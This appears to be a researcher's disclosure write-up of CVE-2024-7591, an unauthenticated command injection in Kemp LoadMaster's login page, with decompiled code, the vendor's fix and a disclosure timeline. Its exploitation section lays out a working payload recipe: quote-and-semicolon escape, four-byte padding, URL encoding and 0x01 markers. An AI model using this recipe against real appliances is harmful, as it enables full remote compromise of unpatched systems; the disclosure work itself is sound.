While conducting security research, I identified a critical vulnerability in Kemp’s LoadMaster Load Balancer. This vulnerability is a Command Injection and allows full system compromise. It requires no authentication and can be exploited remotely by having access to the Web User Interface (WUI). Kemp found that all LoadMaster versions up to and including version 7.2.60.0 and also the multi-tenant hypervisors up to and including version 7.1.35.11 are affected.
Kemp LoadMaster is a widely used Load Balancing Application that can commonly be seen in customer engagements. Therefore, we decided to take a closer look as part of our regular research projects.
As promised in the Announcement: Progress / Kemp LoadMaster CVE-2024-7591, I will go into detail about how I identified the vulnerability, where the vulnerable part of the code is, how the vulnerability can be exploited, and finally, how the vendor fixed this vulnerability.
Understanding the Attack Surface
Before diving into the details, let us visualize what parts of the software are interesting and how one might be able to compromise them. A priority are bugs affecting the core features provided by Kemp. For example, potential flaws in the software could lead to issues that break security boundaries, e.g., an attacker being able to abuse the Load Balancer to access services not intended to be available to the outside. Alternatively, inadequate access controls may cause exposure of sensitive information.
Another big part of the attack surface is the Web User Interface that is used to configure the system and all its functionalities. This component is of special interest because compromise would mean full control of the application. Also, it is conveniently accessible by default.
Web User Interface (WUI)
The Web User Interface’s ability to configure and control the software makes it an excellent first high-value target for attacking. To be able to do this, it is necessary to look at the technology behind and get an understanding of it. Since this is no Open Source software, just looking at the source code is not possible. Instead, I only had access to the VM image of the free version running in a virtual machine. Logging into the default user on the VM was not very helpful because I was trapped in a selection menu. Although there was a Diagnostic Shell, it was not really of use as apparently it only was a chroot
environment, and there were no configuration files or other files indicating a web server.
My next approach was to extract the file system. This can be done by mounting the image and then extracting and unpacking the initrd
. Inside, I found a typical UNIX file structure. My particular interest was the /usr/wui
folder, which presumably contains the files that power the WUI. Looking around, I located the scripts behind the WUI in /usr/wui/progs
. This correlated with the observed requests from the WUI, as they also started with /progs/
e.g., /progs/homepage
. To my surprise all the scripts were written in BASH.
Because the login functionality is one of the few components that requires no authentication to access, one might consider it the weakest link. Therefore, I investigated what the login process looks like.
Finding the Vulnerability
Performing a login, a POST request to /progs/status/login
is made. By taking a look at the file /usr/wui/progs/status
(which is just a BASH script), one can see that at the end of the file, two functions are called set_values
and process_command
:
# ...
esac
}
set_values
process_command
Inside the process_command
function is a big case/switch statement containing a case for login
. Here, read_pass
is called four times with each POST value as a parameter:
login)
[ ! -f /tmp/no_passwd ] || exit 0
read_pass user
read_pass pass
read_pass token
read_pass token2
check_token "$token" "$token2" || login_failed
F=`sessmgr -l "$user" "$pass"`
[ $? -eq 0 ] || login_failed
echo $F
isEC2 && ! isEC2BYOL && ! isEC2SPLA && touch $EC2_CREDS_PROMPT
parent_reload
;;
read_pass
is defined in /usr/wui/progs/util.sh
and looks like this:
read_pass()
{
[ "x$post" != "x" ] || return
eval ${1}=\'`pass_read "$1" "$post"`\'
}
This is the baseline for the Command Injection vulnerability. User Input comes from $post
, which represents the post variables of the request and is used inside an eval
statement without being sanitized or checked. By being able to escape the context, one can execute arbitrary commands. Unfortunately, the input is first passed to pass_read
(Do not get confused here. This is not a recursive call, instead the two words are switched around). If the return value of this call can be controlled in a specific way by the input, this vulnerability can be exploited.
Reversing mangle
Searching for the definition of pass_read
showed that the binary /bin/mangle
contains this string.
So, I went ahead and loaded it up in Ghidra. The disassembled main
function looks like this:
void main(int argc,char **argv)
{
int compare_result;
char *pBinaryName;
/* searches for '/' in string
returns pointer to last occurrence */
pBinaryName = strrchr(*argv,L'/');
if (pBinaryName == 0x0) {
pBinaryName = *argv;
}
else {
pBinaryName = pBinaryName + 1;
}
compare_result = strcmp(pBinaryName,"post_read");
if (compare_result == 0) {
if (argc < 3) {
exit(0);
}
post_read(argv[1],argv[2],1);
}
else {
compare_result = strcmp(pBinaryName,"pass_read");
if (compare_result == 0) {
if (argc < 3) {
exit(0);
}
pass_read(argv[1],argv[2]); // <-- our function of interest
}
else {
// ...
Apparently, this binary calls different functions depending on the name of the calling process. Here, one can also find the function pass_read
receiving two arguments, just like in the script. One can assume that in the live system, there are probably a dozen symlinks linking to /bin/mangle
, making use of different functionalities inside the binary.
Let us have a look at pass_read
:
void pass_read(char *field,char *post_parameters)
{
long lVar1;
int compareResult;
char *equalSign;
char *key_value_pair;
long in_FS_OFFSET;
char *local_post_parameters;
char *url_decoded_value;
char *base64_encoded_value;
lVar1 = *(in_FS_OFFSET + 0x28);
local_post_parameters = post_parameters;
do {
/* Loops over string and seperates by '&' */
key_value_pair = strtok(local_post_parameters,"&");
if (key_value_pair == 0x0) {
LAB_00402393:
if (lVar1 == *(in_FS_OFFSET + 0x28)) {
return;
}
__stack_chk_fail();
}
equalSign = strchr(key_value_pair,L'=');
if (equalSign != 0x0) {
*equalSign = '\0';
compareResult = strcmp(key_value_pair,field);
if (compareResult == 0) {
url_decode(&url_decoded_value,equalSign + 1);
base64_encode(&url_decoded_value,&base64_encoded_value);
printf("%s",&base64_encoded_value);
goto LAB_00402393;
}
*equalSign = '=';
}
local_post_parameters = 0x0;
} while( true );
}
Here is a summary of what this function does:
Initially, the POST body passed to the function is divided by &
to get the first key-value pair. Then the =
is replaced with a null-byte. This splits the key-value pair, so the passed field parameter can be compared to the key in the next step. If they match, the value is then URL decoded, afterwards Base64 encoded and finally printed to stdout with printf
. This process is done in a loop to process all POST parameters.
So the pass_read
function is supposed to extract the value of the field passed as a parameter from the passed POST body, to URL decode this value and finally return the Base64 encoded version.
With the current knowledge of the inner workings of pass_read
, exploitation of the vulnerability above would not be possible because the input would always be encoded to Base64, effectively making it impossible to escape the context.
But during analysis of the base64_encode
function, I found a loophole, allowing me to let it return the initial value unmodified.
void base64_encode(char *input,char *output)
{
ulong counter;
int current_char;
char *local_input;
char next_char;
counter = 0xffffffffffffffff;
local_input = input;
do {
if (counter == 0) break;
counter = counter - 1;
next_char = *local_input;
local_input = local_input + 1;
} while (next_char != '\0');
current_char = ~counter - 1;
if (current_char != 0) {
if (((*input == '\x01') && (input[current_char + -1] == '\x01')) &&
((current_char - 2U & 3) == 0)) {
strcpy(output,input);
}
else {
local_input = output + 1;
*output = '\x01';
current_char = base64_encode_char(input,~counter - 1,local_input);
local_input[current_char] = '\x01';
(local_input + current_char)[1] = '\0';
}
return;
}
*output = '\0';
return;
}
Below is the most relevant code path:
if (((*input == '\x01') && (input[current_char + -1] == '\x01')) &&
((current_char - 2U & 3) == 0)) {
strcpy(output,input);
}
The conditional statement looks more complicated than it actually is. It checks if the first and the last byte is 0x01
and if everything in between is divisible by four. If this is the case, the input is just copied to the output, which is exactly what we need. Presumably, it is assumed that the input has already been encoded.
In conclusion, this means that it is possible to craft input that is not altered by pass_read
and therefore allows performing the command injection in read_pass
.
Exploiting the vulnerability
Let us recapitulate our findings and lay out the steps of exploitation. This is done in reverse order from the vulnerable point to the injection point:
- Choose a command to inject
-> e.g.ping -c 2 192.168.122.1
- Next, escape the context of the
eval
inread_pass
simply by the usage of quotes and semicolons
->';ping -c 2 192.168.122.1;echo '
- Then make sure the amount of characters in the input is divisible by four, and if not, pad it until it is
->xxxx';ping -c 2 192.168.122.1;echo '
(here, our input was already divisible by four, so the padding is just there to illustrate) - Afterward URL-encode all characters to avoid complications with character filtering
->%78%78%78%78%27%3b%70%69%6e%67%20%2d%63%20%32%20%31%39%32%2e%31%36%38%2e%31%32%32%2e%31%3b%65%63%68%6f%20%27
- Finally, add the markers (
0x01
) at the beginning and the end of the payload
->%01%78%78%78%78%27%3b%70%69%6e%67%20%2d%63%20%32%20%31%39%32%2e%31%36%38%2e%31%32%32%2e%31%3b%65%63%68%6f%20%27%01
If this is used as input in one of the four POST parameters: token
, token2
, user
or pass
in a request to /progs/status/login
, the command is executed as the local bal
user.
As you can see exploitation of this vulnerability is rather trivial.
Fixing the Vulnerability
Upon Disclosure the vendor supplied a patched version and also an add-on as a quick fix.
Both, the add-on and the patched version, fix the vulnerability by removing and replacing the eval
with a read
command as can be seen in the screenshot below which shows a diff between the old util.sh
and the fixed version.
Unlike eval
, read
does not execute the supplied input. So even if unfiltered and unsanitized input reaches this point, it is not possible to inject commands here anymore.
Disclosure Timeline
We contacted the vendor to disclose this vulnerability as soon as we discovered it. Below, you can find a short summary of the disclosure timeline:
- July 29, 2024: Issue reported to Kemp
- July 30, 2024: Kemp responds and forwards issue to the responsible team
- September 06, 2024: Kemp acknowledges the bug and publishes fixed versions1, CVE-2024-7591 is published
- November 27, 2024: Public disclosure of this blog post